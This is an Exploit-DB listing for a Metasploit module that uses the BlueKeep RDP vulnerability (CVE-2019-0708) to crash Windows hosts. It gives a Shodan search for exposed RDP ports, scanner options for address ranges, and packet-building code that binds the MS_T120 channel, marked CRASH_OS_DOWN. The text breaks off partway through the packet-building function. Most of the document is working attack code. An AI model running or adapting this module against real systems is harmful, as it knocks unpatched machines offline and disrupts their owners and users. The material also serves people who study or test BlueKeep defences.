Exploit-DB #47120
Description: Microsoft Windows Remote Desktop - 'BlueKeep' Denial of Service (Metasploit)
Type: dos
Platform: windows
Date: 2019-07-15
Author: RAMELLA Sebastien

Exploit:
# Exploit Title: Bluekeep Denial of Service (metasploit module)
# Shodan Dork: port:3389
# Date: 07/14/2019
# Exploit Author: RAMELLA Sebastien (https://github.com/mekhalleh/)
# Vendor Homepage: https://microsoft.com
# Version: all affected RDP services by cve-2019-0708
# Tested on: Windows XP (32-bits) / Windows 7 (64-bits)
# CVE : 2019-0708

# I just modified the initial metasploit module for this vuln to produce a denial of service attack.

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  Rank = NormalRanking

  include Msf::Auxiliary::Dos
  include Msf::Auxiliary::Scanner
  include Msf::Exploit::Remote::Tcp

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'CVE-2019-0708 BlueKeep Microsoft Remote Desktop RCE',
      'Description'    => %q{
        This module checks a range of hosts for the CVE-2019-0708 vulnerability
        by binding the MS_T120 channel outside of its normal slot and sending
        DoS packets.
      },
      'Author'         =>
      [
        'National Cyber Security Centre', # Discovery
        'JaGoTu',                         # Module
        'zerosum0x0',                     # Module
        'Tom Sellers',                    # TLS support and documented packets
        'RAMELLA Sebastien'               # Denial of service module
      ],
      'References'     =>
      [
        [ 'CVE', '2019-0708' ],
        [ 'URL', 'https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2019-0708' ]
      ],
      'DisclosureDate' => '2019-05-14',
      'License'        => MSF_LICENSE,
      'Notes'          =>
      {
        'Stability' => [ CRASH_OS_DOWN ],
        'AKA'       => ['BlueKeep']
      }
    ))

    register_options(
      [
        OptAddress.new('RDP_CLIENT_IP', [ true, 'The client IPv4 address to report during connection', '192.168.0.100']),
        OptString.new('RDP_CLIENT_NAME', [ false, 'The client computer name to report during connection', 'rdesktop']),
        OptString.new('RDP_DOMAIN', [ false, 'The client domain name to report during connection', '']),
        OptString.new('RDP_USER', [ false, 'The username to report during connection.']),
        OptAddressRange.new("RHOSTS", [ true, 'Target address, address range or CIDR identifier']),
        OptInt.new('RPORT', [true, 'The target TCP port on which the RDP protocol response', 3389])
      ]
    )
  end

  # ------------------------------------------------------------------------- #

  def bin_to_hex(s)
    return(s.each_byte.map { | b | b.to_s(16).rjust(2, '0') }.join)
  end

  def bytes_to_bignum(bytesIn, order = "little")
    bytes = bin_to_hex(bytesIn)
    if(order == "little")
      bytes = bytes.scan(/../).reverse.join('')
    end
    s = "0x" + bytes

    return(s.to_i(16))
  end

  ## https://www.ruby-forum.com/t/integer-to-byte-string-speed-improvements/67110
  def int_to_bytestring(daInt, num_chars = nil)
    unless(num_chars)
      bits_needed = Math.log(daInt) / Math.log(2)
      num_chars = (bits_needed / 8.0).ceil
    end
    if(pack_code = { 1 => 'C', 2 => 'S', 4 => 'L' }[ num_chars ])
      [daInt].pack(pack_code)
    else
      a = (0..(num_chars)).map{ | i |
        (( daInt >> i*8 ) & 0xFF ).chr
      }.join
      a[0..-2]                                                                 # Seems legit lol!
    end
  end

  def open_connection()
    begin
      connect()
      sock.setsockopt(::Socket::IPPROTO_TCP, ::Socket::TCP_NODELAY, 1)
    rescue ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError => e
      vprint_error("Connection error: #{e.message}")
      return(false)
    end
  
    return(true)
  end

  def rsa_encrypt(bignum, rsexp, rsmod)
    return((bignum ** rsexp) % rsmod)
  end

  # ------------------------------------------------------------------------- #

  ## Used to abruptly abort scanner for a given host.
  class RdpCommunicationError < StandardError
  end
  
  ## Define standard RDP constants.
  class RDPConstants
    PROTOCOL_RDP = 0
  end

  DEFAULT_CHANNELS_DEFS =
  "\x04\x00\x00\x00" +                 # channelCount: 4

  ## Channels definitions consist of a name (8 bytes) and options flags
  ## (4 bytes). Names are up to 7 ANSI characters with null termination.
  "\x72\x64\x70\x73\x6e\x64\x00\x00" + # rdpsnd
  "\x0f\x00\x00\xc0" +
  "\x63\x6c\x69\x70\x72\x64\x72\x00" + # cliprdr
  "\x00\x00\xa0\xc0" +
  "\x64\x72\x64\x79\x6e\x76\x63" +     # drdynvc
  "\x00\x00\x00\x80\xc0" +
  "\x4d\x53\x5f\x54\x31\x32\x30" +     # MS_T120
  "\x00\x00\x00\x00\x00"

  ## Builds x.224 Data (DT) TPDU - Section 13.7
  def rdp_build_data_tpdu(data)
    tpkt_length = data.length + 7

    "\x03\x00" +                                                               # TPKT Header version 03, reserved 0
    [tpkt_length].pack("S>") +                                                 # TPKT length
    "\x02\xf0" +                                                               # X.224 Data TPDU (2 bytes)
    "\x80" +                                                                   # X.224 End Of Transmission (0x80)
    data
  end

  ## Build the X.224 packet, encrypt with Standard RDP Security as needed.
  ## Default channel_id = 0x03eb = 1003.
  def rdp_build_pkt(data, rc4enckey = nil, hmackey = nil, channel_id = "\x03\xeb", client_info = false, rdp_sec = true)
    flags = 0
    flags |= 0b1000 if(rdp_sec)                                                # Set SEC_ENCRYPT
    flags |= 0b1000000 if(client_info)                                         # Set SEC_INFO_PKT

    pdu = ""

    ## TS_SECURITY_HEADER - 2.2.8.1.1.2.1
    ## Send when the packet is encrypted w/ Standard R